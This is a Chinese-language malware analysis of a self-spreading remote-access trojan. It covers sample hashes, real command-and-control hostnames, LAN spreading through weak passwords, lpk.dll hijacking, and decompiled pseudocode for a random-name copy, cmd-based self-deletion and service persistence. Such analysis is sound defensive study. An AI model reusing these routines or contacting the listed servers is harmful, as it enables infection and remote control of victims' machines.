终于毕业考试完了 经过节奏紧张的培训,一直没有好好分析一个病毒或者一个完整的软件,用了4天时间,分析了一款经典的感染型远控木马,期间因为调试服务,调试DLL花费了不少时间 稍后整理完也会首发看雪,在咱们看雪已经潜水1年多了 之前一直觉得没什么有营养的东西可以和大家分享,希望这篇文章能给想分析病毒入门的童鞋带来帮助,水平有限,有不足的地方欢迎指点.
还有个同学跟我一起分析了 我没做流程图 此流程图由年轻帅气可爱的 老朱同学赞助:
流程图_start:
病毒首先使用RegOpenKeyExW函数读取注册表中【HKEY_LOCAL_MACHINE\system\\CurrentControlset\\services\\Ghijkl Nopqrstu Wxy】
这个键项;如果键项不存在,则创建病毒的系统服务,流程图大体如下:
老朱同学的流程图 _end
1.1 样本信息
病毒名
3601.exe
样本大小
72KB
分析时间
2017-5-16
MD5:
96043b8dcc7a977b16a2892c4b38d87f
加壳情况:
UPX(3.07)
1.2 测试环境及工具
测试平台
虚拟机WIN7
使用工具
OLLYDEBUG+IDA6.8
LordPe
火绒剑
1.3 目标概述
病毒母体
3601.exe
96043b8dcc7a977b16a2892c4b38d87f
释放的文件
vmnfmc.exe
8a1716b566d20b77c20647d0f760b01c
随机字母组成
释放的DLL
Hra33.dll
资源文件 主要存放2个资源 服务名和病毒EXE
2.具体行为分析
2.1 主要行为
病毒母体
通过创建系统服务 释放文件(随机名称.exe)到系统目录,删除自身.释放的目标EXE以服务的方式开机自启动.
释放的病毒
开启多线程进行 通过局域网共享病毒 连接服务器 进行病毒的自我更新 远程指令 等操作
释放的DLL
Hra33.dll 资源文件 主要存放2个资源 服务名和病毒EXE 具有感染文件的功能
远程服务器
Sbcq.f3322.org:9898 www.520123.xyz:9999 www.520520520.org:9426
2.1.1 恶意程序对用户造成的危害
将病毒程序通过弱密码感染到局域网主机 at 计划任务
从服务器下载任意EXE程序并运行
从服务器获得任意URL在本地打开
Vmnfmc.exe 释放 C:\WINDOWS\system32\hra33.dll并载入 创建三个线程
遍历到的是EXE文件则拷贝病毒模块文件lpk.dll到该EXE文件的文件目录下进行DLL劫持
如果上面对用户电脑的文件遍历 遍历到的是RAR或者ZIP格式的压缩包文件 则对压缩包里面的EXE文件进行DLL劫持 拷贝病毒模块文件lpk.dll到压缩包里的EXE文件目录下
如果当前运行的病毒模块不是病毒文件lpk的dll则动态加载系统的lpk.dll并进行lpk.dll文件的初始化 为dll直接转发的方式劫持系统文件lpk.dll做准备
2.2 恶意代码分析
Step 1. 将目标程序载入PEID 查看是USP的壳 利用ESP定律
脱壳成功
Step 1.载入IDA分析 Main函数 为方便阅读 以下均是伪代码
WSAStartup(0x202u, &WSAData);
if (Check_Server()) // 判断是否有注册表服务是否存在
{
v7 = 0;
v8 = 0;
ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable);
}
else // 母体病毒进入 开始初始化
{
Init_virs(
(int)"Ghijkl Nopqrstu Wxy",
(int)"Ghijkl Nopqrstu Wxyabcde Ghij",
(int)"Ghijklmn Pqrstuvwx Abcdefg Ijklmnop Rst");
if (ReName)
{
DeleteSelf();
ExitProcess(0);
}
}
第一次打开病毒文件 会进入Init_virs
先载入各种操作服务和注册表的函数
GetModuleFileNameA(0u, &Filename, 0x104u);
GetWindowsDirectoryA(&Buffer, 0x104u);
Bufflen = strlen(&Buffer);
if (strncmp(&Buffer, &Filename, Bufflen)) //判断是否需要重新生成一个病毒 名称是随机的
{
charA = Get_Randchar(26u) + 'a';
charB = Get_Randchar(26u) + 'a';
charC = Get_Randchar(26u) + 'a';
charD = Get_Randchar(26u) + 'a';
charE = Get_Randchar(26u) + 'a';
charF = Get_Randchar(26u);
wsprintfA(&strExeName, "%c%c%c%c%c%c.exe", charF + 'a', charE, charD, charC, charB, charA);
mbscat(&Buffer, L"\\");
mbscat(&Buffer, &strExeName);
((void(__stdcall *)(CHAR *, CHAR *, _DWORD))CopyFileA)(&Filename, &Buffer, 0);
memset(&Filename, 0, 0x104u);
mbscpy(&Filename, &Buffer);
ReName = 1;
}
载入服务 修改服务描述 , 修改服务配置 , 开启服务等操作
if (ReName)
{
DeleteSelf();
ExitProcess(0);
}
DeleteSelf()函数实现细节
GetModuleFileNameA(0, &Filename, 0x104u); // 获得当前EXE路径
GetShortPathNameA(&Filename, &Filename, 0x104u);// 获得文件名
GetEnvironmentVariableA("COMSPEC", &Buffer, 0x104u);// 获取CMD的路径
((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, "/c del ");
((void(__stdcall *)(char *, CHAR *))lstrcatA)(&Shellcommand, &Filename);
((void(__stdcall *)(char *, const char *))lstrcatA)(&Shellcommand, " > nul");// /c del C:\xxxx\3601_U~1.EXE > nul
v19 = &v26;
v20 = &Buffer;
v16 = '<';
v18 = 0;
v26 = 'O';
v27 = 'p';
v28 = 'e';
v29 = 'n';
v30 = 0;
v21 = &Shellcommand;
v22 = 0;
v23 = 0;
v17 = 64;
if (ShellExecuteEx(&v16)) // 运行删除自身的指令
{
SetPriorityClass(hProcess, 64u); // 设置线程优先级
hProcessa = GetCurrentProcess();
SetPriorityClass(hProcessa, 256u);
v2 = GetCurrentThread();
SetThreadPriority(v2, 15);
SHChangeNotify(SHCNE_DELETE, SHCNF_PATHA, &Filename, 0);// 删除当前进程的EXE程序
result = 1;
}
这也就完成了 释放新病毒 删除自身的操作
刚刚分析的是病毒第一次运行的操作,现在进入病毒第二次运行的操作
ServiceStartTable.lpServiceName = "Ghijkl Nopqrstu Wxy";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)sub_40561A;
StartServiceCtrlDispatcherA(&ServiceStartTable)
进入回到函数
先设置服务状态 后面加载当前函数需要使用的函数
木马程序主体框架结构:
if (CreatemutexA(0, 0, "Ghijkl Nopqrstu Wxy")&& SetServiceStatus() == 183) // 创建互斥体 存在的话 服务退出
{
exit(0);
}
EnumResource_start(); // 释放DLL资源到C:\WINDOWS\system32\hra33.dll
wsprintfA(&pFileName, "hra%u.dll", '!');
Insert_Result(&pFileName); // 打开hra33.dll 拷贝2个资源到到hra33.DLL 一个是服务名 一个是EXE自身
Load_hra33(); // 加载hra33.dll 具有DLL劫持功能 具体实现 将EXE同目录创建一个LPK.DLL
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Shared_exe_LAN, 0, 0, 0);// 通过密码库 正确的话 就将木马程序 共享局域网
Sleep(500u);
WSAStartup(0x202u, &WSAData);